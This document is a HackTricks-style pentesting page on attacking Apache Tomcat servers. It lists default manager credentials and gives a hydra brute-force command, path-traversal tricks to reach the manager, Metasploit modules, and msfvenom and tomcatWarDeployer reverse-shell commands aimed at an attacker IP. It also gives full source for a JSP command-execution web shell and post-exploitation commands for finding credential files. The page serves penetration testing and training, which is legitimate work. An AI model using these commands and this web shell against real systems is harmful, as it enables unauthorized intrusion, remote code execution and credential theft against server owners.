hacktricks/network-services-pentesting/pentesting-web/tomcat.md

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<details>
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It usually runs on **port 8080**
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# Avoid to run with root
In order to not run Tomcat with root a very common configuration is to set an Apache server in port 80/443 and, if the requested path matches a regexp, the request is sent to Tomcat running on a different port.
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# Username Enum
In some versions prior to Tomcat6 you could enumerate users:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
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# Default credentials
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The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:
* admin:admin
* tomcat:tomcat
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* admin:\<NOTHING>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
You could test these and more using:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
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Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_
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## Bruteforce
This could be needed.
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
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# Vulns
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## Password backtrace disclosure
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Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.
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## Double URL encode
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A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**
In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_
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Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
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To access to backdoor you might also need to use the double urlencode trick.
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## /examples
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The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).
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* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
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## Path Traversal (..;/)
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In some **[vulnerable configurations of Tomcat](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)** you can gain access to protected directories in Tomcat using the path: `/..;/`
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So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
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**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
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# RCE
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Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
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## Limitations
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You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
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curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
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curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
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## Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
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## MSFVenom Reverse Shell
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```
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Then, upload the revshell.war file and access to it (_/revshell/_)
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## Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
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In some scenarios this doesn't work (for example old versions of sun)
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### Download
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
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### Reverse shell
```bash
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./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
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### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
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## Using [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
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## Manual method - Web shell
Create **index.jsp** with this content:
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *
webshell.war is created
```
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You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
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# POST
Name of Tomcat credentials file is _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
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Other ways to gather Tomcat credentials:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
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<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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</details>